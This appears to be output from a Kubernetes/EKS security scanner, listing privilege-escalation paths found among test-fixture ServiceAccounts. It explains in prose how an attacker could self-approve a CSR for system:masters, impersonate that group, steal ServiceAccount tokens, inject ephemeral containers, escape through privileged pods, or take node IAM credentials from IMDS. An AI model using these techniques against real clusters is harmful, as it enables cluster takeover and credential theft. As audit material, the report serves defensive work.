    This grant is invisible to kubectl get clusterrolebindings: the mapping lives in a ConfigMap and the resulting identity is synthesized at request-time by the EKS aws-iam-authenticator.

    From User/arn:aws:iam::123456789012:role/AdministratorAccess
    Permission granted system:masters via aws-auth
    Gives the attacker external IAM principal arn:aws:iam::123456789012:role/AdministratorAccess is mapped to system:masters via aws-auth
CRITICAL ServiceAccount/privesc-fixtures/sa-ephemeral the system:masters group score 9.1 2 hops View finding →

ServiceAccount `sa-ephemeral` in namespace `privesc-fixtures` reaches the system:masters group in 2 hops via Ephemeral container injection → CSR self-approval to system:masters.

  1. Step 1 of 2 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount csr-fixtures/sa-csr-mint
  2. Step 2 of 2 CSR self-approval to system:masters csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder mint a kubelet-signed x509 client cert carrying any Subject DN they choose. Setting the Organization to system:masters produces a credential that the apiserver authorizes as cluster-admin regardless of RBAC.

    This is a permanent backdoor primitive: the cert validity is whatever the signer applies (often a year), and revoking the original RBAC grant does not invalidate it — only a CA rotation does. The Kubernetes project lists this in RBAC Good Practices as a privilege-escalation risk on par with direct impersonate.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR with system:masters in its Subject and self-approve it, minting a kubelet-signed cluster-admin client cert
CRITICAL ServiceAccount/privesc-fixtures/sa-pod-exec the system:masters group score 9.1 2 hops View finding →

ServiceAccount `sa-pod-exec` in namespace `privesc-fixtures` reaches the system:masters group in 2 hops via Pod exec → container takeover → CSR self-approval to system:masters.

  1. Step 1 of 2 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount csr-fixtures/sa-csr-mint
  2. Step 2 of 2 CSR self-approval to system:masters csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder mint a kubelet-signed x509 client cert carrying any Subject DN they choose. Setting the Organization to system:masters produces a credential that the apiserver authorizes as cluster-admin regardless of RBAC.

    This is a permanent backdoor primitive: the cert validity is whatever the signer applies (often a year), and revoking the original RBAC grant does not invalidate it — only a CA rotation does. The Kubernetes project lists this in RBAC Good Practices as a privilege-escalation risk on par with direct impersonate.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR with system:masters in its Subject and self-approve it, minting a kubelet-signed cluster-admin client cert
CRITICAL ServiceAccount/rbac-fixtures/sa-pod-create the system:masters group score 9.1 2 hops View finding →

ServiceAccount `sa-pod-create` in namespace `rbac-fixtures` reaches the system:masters group in 2 hops via Pod creation → ServiceAccount token theft → Impersonation of system:masters.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount rbac-fixtures/sa-impersonate
  2. Step 2 of 2 Impersonation of system:masters impersonate_system_masters

    The impersonate verb on groups: ["*"] (or explicitly on system:masters) lets the holder send requests as the hard-coded system:masters group. The kube-apiserver short-circuits authorization for that group, so every API call succeeds regardless of RBAC.

    This is the worst-case impersonation grant: it bypasses the cluster's entire RBAC layer rather than borrowing another principal's permissions.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted impersonate groups
    Gives the attacker can impersonate the system:masters group, bypassing all RBAC
CRITICAL ServiceAccount/rbac-fixtures/sa-token-create the system:masters group score 9.1 2 hops View finding →

ServiceAccount `sa-token-create` in namespace `rbac-fixtures` reaches the system:masters group in 2 hops via TokenRequest minting → Impersonation of system:masters.

  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-createServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount rbac-fixtures/sa-impersonate
  2. Step 2 of 2 Impersonation of system:masters impersonate_system_masters

    The impersonate verb on groups: ["*"] (or explicitly on system:masters) lets the holder send requests as the hard-coded system:masters group. The kube-apiserver short-circuits authorization for that group, so every API call succeeds regardless of RBAC.

    This is the worst-case impersonation grant: it bypasses the cluster's entire RBAC layer rather than borrowing another principal's permissions.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted impersonate groups
    Gives the attacker can impersonate the system:masters group, bypassing all RBAC
CRITICAL ServiceAccount/vulnerable/privileged-reader the system:masters group score 9.1 2 hops View finding →

ServiceAccount `privileged-reader` in namespace `vulnerable` reaches the system:masters group in 2 hops via Pod creation → ServiceAccount token theft → CSR self-approval to system:masters.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/vulnerable/privileged-readerServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount csr-fixtures/sa-csr-mint
  2. Step 2 of 2 CSR self-approval to system:masters csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder mint a kubelet-signed x509 client cert carrying any Subject DN they choose. Setting the Organization to system:masters produces a credential that the apiserver authorizes as cluster-admin regardless of RBAC.

    This is a permanent backdoor primitive: the cert validity is whatever the signer applies (often a year), and revoking the original RBAC grant does not invalidate it — only a CA rotation does. The Kubernetes project lists this in RBAC Good Practices as a privilege-escalation risk on par with direct impersonate.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR with system:masters in its Subject and self-approve it, minting a kubelet-signed cluster-admin client cert
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape the system:masters group score 8.6 3 hops View finding →

ServiceAccount `sa-pod-create-escape` in namespace `privesc-fixtures` reaches the system:masters group in 3 hops via Pod creation → ServiceAccount token theft → Ephemeral container injection → CSR self-approval to system:masters.

  1. Step 1 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escapeServiceAccount/privesc-fixtures/sa-ephemeral
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-ephemeral
  2. Step 2 of 3 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount csr-fixtures/sa-csr-mint
  3. Step 3 of 3 CSR self-approval to system:masters csr_approve

    The combination of create on certificatesigningrequests AND update/patch on certificatesigningrequests/approval at cluster scope lets the holder mint a kubelet-signed x509 client cert carrying any Subject DN they choose. Setting the Organization to system:masters produces a credential that the apiserver authorizes as cluster-admin regardless of RBAC.

    This is a permanent backdoor primitive: the cert validity is whatever the signer applies (often a year), and revoking the original RBAC grant does not invalidate it — only a CA rotation does. The Kubernetes project lists this in RBAC Good Practices as a privilege-escalation risk on par with direct impersonate.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted create certificatesigningrequests + update certificatesigningrequests/approval
    Gives the attacker can submit a CSR with system:masters in its Subject and self-approve it, minting a kubelet-signed cluster-admin client cert
→ kube-system secrets

8 paths to kube-system secrets

6 high 2 med
HIGH ServiceAccount/privesc-fixtures/sa-secret-mint kube-system secrets score 8.6 1 hop View finding →

ServiceAccount `sa-secret-mint` in namespace `privesc-fixtures` reaches kube-system secrets in 1 hop via Secrets read access.

  1. Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
HIGH ServiceAccount/privesc-fixtures/sa-secret-read kube-system secrets score 8.6 1 hop View finding →

ServiceAccount `sa-secret-read` in namespace `privesc-fixtures` reaches kube-system secrets in 1 hop via Secrets read access.

  1. Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/privesc-fixtures/sa-secret-read
    Permission granted get secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
HIGH ServiceAccount/vulnerable/privileged-reader kube-system secrets score 8.6 1 hop View finding →

ServiceAccount `privileged-reader` in namespace `vulnerable` reaches kube-system secrets in 1 hop via Secrets read access.

  1. Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/vulnerable/privileged-reader
    Permission granted get,list secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape kube-system secrets score 8.1 2 hops View finding →

ServiceAccount `sa-pod-create-escape` in namespace `privesc-fixtures` reaches kube-system secrets in 2 hops via Pod creation → ServiceAccount token theft → Secrets read access.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escapeServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
HIGH ServiceAccount/rbac-fixtures/sa-pod-create kube-system secrets score 8.1 2 hops View finding →

ServiceAccount `sa-pod-create` in namespace `rbac-fixtures` reaches kube-system secrets in 2 hops via Pod creation → ServiceAccount token theft → Secrets read access.

  1. Step 1 of 2 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
HIGH ServiceAccount/rbac-fixtures/sa-token-create kube-system secrets score 8.1 2 hops View finding →

ServiceAccount `sa-token-create` in namespace `rbac-fixtures` reaches kube-system secrets in 2 hops via TokenRequest minting → Secrets read access.

  1. Step 1 of 2 TokenRequest minting token_request

    The create verb on serviceaccounts/token mints a fresh, valid token for any ServiceAccount in scope, with no pod required. Cleaner than the pod-creation route and harder to spot in audit logs.

    From ServiceAccount/rbac-fixtures/sa-token-createServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create serviceaccounts/token
    Gives the attacker can mint tokens for ServiceAccount privesc-fixtures/sa-secret-mint
  2. Step 2 of 2 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
MEDIUM ServiceAccount/privesc-fixtures/sa-ephemeral kube-system secrets score 7.6 3 hops View finding →

ServiceAccount `sa-ephemeral` in namespace `privesc-fixtures` reaches kube-system secrets in 3 hops via Ephemeral container injection → Pod creation → ServiceAccount token theft → Secrets read access.

  1. Step 1 of 3 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint
  3. Step 3 of 3 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
MEDIUM ServiceAccount/privesc-fixtures/sa-pod-exec kube-system secrets score 7.6 3 hops View finding →

ServiceAccount `sa-pod-exec` in namespace `privesc-fixtures` reaches kube-system secrets in 3 hops via Pod exec → container takeover → Pod creation → ServiceAccount token theft → Secrets read access.

  1. Step 1 of 3 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount rbac-fixtures/sa-pod-create
  2. Step 2 of 3 Pod creation → ServiceAccount token theft pod_create_token_theft

    Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

    This is the single most common privilege-escalation pattern in production Kubernetes.

    From ServiceAccount/rbac-fixtures/sa-pod-createServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create pods
    Gives the attacker can create pods that mount ServiceAccount privesc-fixtures/sa-secret-mint
  3. Step 3 of 3 Secrets read access read_secrets

    get/list/watch on Secrets in kube-system or cluster-wide reads the controller-manager, scheduler, and node-bootstrap tokens: every credential needed to act as the control plane.

    From ServiceAccount/privesc-fixtures/sa-secret-mint
    Permission granted create,get secrets
    Gives the attacker can read secrets in kube-system or cluster-wide
→ node root (container escape)

26 paths to node root (container escape)

26 crit
CRITICAL ServiceAccount/cloud-eks-test/default node root (container escape) score 9.4 1 hop View finding →

ServiceAccount `default` in namespace `cloud-eks-test` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/cloud-eks-test/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod cloud-eks-test/imds-pivot-app-68cfbfc794-f4lh7 falls back to node IAM role via IMDS
CRITICAL ServiceAccount/containersec-fixtures/default node root (container escape) score 9.4 1 hop View finding →

ServiceAccount `default` in namespace `containersec-fixtures` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/containersec-fixtures/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod containersec-fixtures/containersec-image-64d6ddbdbd-ntm8n falls back to node IAM role via IMDS
CRITICAL ServiceAccount/csr-fixtures/sa-csr-mint node root (container escape) score 9.4 1 hop View finding →

ServiceAccount `sa-csr-mint` in namespace `csr-fixtures` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/csr-fixtures/sa-csr-mint
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod csr-fixtures/csr-mint-app-7b46f9dc-phqlc falls back to node IAM role via IMDS
CRITICAL ServiceAccount/flat-network/default node root (container escape) score 9.4 1 hop View finding →

ServiceAccount `default` in namespace `flat-network` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/flat-network/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod flat-network/api-55d9f69c7d-xjctl falls back to node IAM role via IMDS
CRITICAL ServiceAccount/ingress-only/default node root (container escape) score 9.4 1 hop View finding →

ServiceAccount `default` in namespace `ingress-only` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/ingress-only/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod ingress-only/ingress-app-7bdfc6c57-m9l7g falls back to node IAM role via IMDS
CRITICAL ServiceAccount/local-path-storage/local-path-provisioner-service-account node root (container escape) score 9.4 1 hop View finding →

ServiceAccount `local-path-provisioner-service-account` in namespace `local-path-storage` reaches node root (container escape) in 1 hop via Create a privileged pod and escape to the node.

  1. Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/local-path-storage/local-path-provisioner-service-account
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
CRITICAL ServiceAccount/lp-fixtures/sa-lp-narrow node root (container escape) score 9.4 1 hop View finding →

ServiceAccount `sa-lp-narrow` in namespace `lp-fixtures` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/lp-fixtures/sa-lp-narrow
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod lp-fixtures/lp-narrow-app-6b8848bf64-nxtwn falls back to node IAM role via IMDS
CRITICAL ServiceAccount/lp-fixtures/sa-lp-orphan node root (container escape) score 9.4 1 hop View finding →

ServiceAccount `sa-lp-orphan` in namespace `lp-fixtures` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/lp-fixtures/sa-lp-orphan
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod lp-fixtures/lp-orphan-app-68d649f6c5-nbpx6 falls back to node IAM role via IMDS
CRITICAL ServiceAccount/lp-fixtures/sa-lp-wildcard node root (container escape) score 9.4 1 hop View finding →

ServiceAccount `sa-lp-wildcard` in namespace `lp-fixtures` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/lp-fixtures/sa-lp-wildcard
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod lp-fixtures/lp-wildcard-app-7bb4d99f67-f6xv4 falls back to node IAM role via IMDS
CRITICAL ServiceAccount/netpol-imds/default node root (container escape) score 9.4 1 hop View finding →

ServiceAccount `default` in namespace `netpol-imds` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/netpol-imds/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod netpol-imds/imds-allow-app-7f9f6cb9df-h8v49 falls back to node IAM role via IMDS
CRITICAL ServiceAccount/privesc-fixtures/sa-node-migrate node root (container escape) score 9.4 1 hop View finding →

ServiceAccount `sa-node-migrate` in namespace `privesc-fixtures` reaches node root (container escape) in 1 hop via Migrate pods onto an attacker node.

  1. Migrate pods onto an attacker node node_drain_migrate

    delete pods combined with cluster-scoped node control (update/patch on nodes/status, or delete nodes) lets an attacker cordon or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/privesc-fixtures/sa-node-migrate
    Permission granted delete pods + node scheduling control
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
CRITICAL ServiceAccount/privesc-fixtures/sa-pod-create-escape node root (container escape) score 9.4 1 hop View finding →

ServiceAccount `sa-pod-create-escape` in namespace `privesc-fixtures` reaches node root (container escape) in 1 hop via Create a privileged pod and escape to the node.

  1. Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/privesc-fixtures/sa-pod-create-escape
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
CRITICAL ServiceAccount/psa-suppressed/default node root (container escape) score 9.4 1 hop View finding →

ServiceAccount `default` in namespace `psa-suppressed` reaches node root (container escape) in 1 hop via Container escape to host.

  1. Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/psa-suppressed/default
    Permission granted privileged
    Gives the attacker runs in pod psa-suppressed/psa-priv-app-54c64bdd84-mf8gp with privileged
CRITICAL ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled node root (container escape) score 9.4 1 hop View finding →

ServiceAccount `sa-psa-unlabeled` in namespace `psa-unlabeled-fixtures` reaches node root (container escape) in 1 hop via Container escape to host.

  1. Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/psa-unlabeled-fixtures/sa-psa-unlabeled
    Permission granted hostNetwork
    Gives the attacker runs in pod psa-unlabeled-fixtures/psa-unlabeled-app-f5ff8974-v6t5z with hostNetwork
CRITICAL ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath node root (container escape) score 9.4 1 hop View finding →

ServiceAccount `sa-pv-hostpath` in namespace `pv-hostpath-fixtures` reaches node root (container escape) in 1 hop via Steal node IAM role via IMDS.

  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

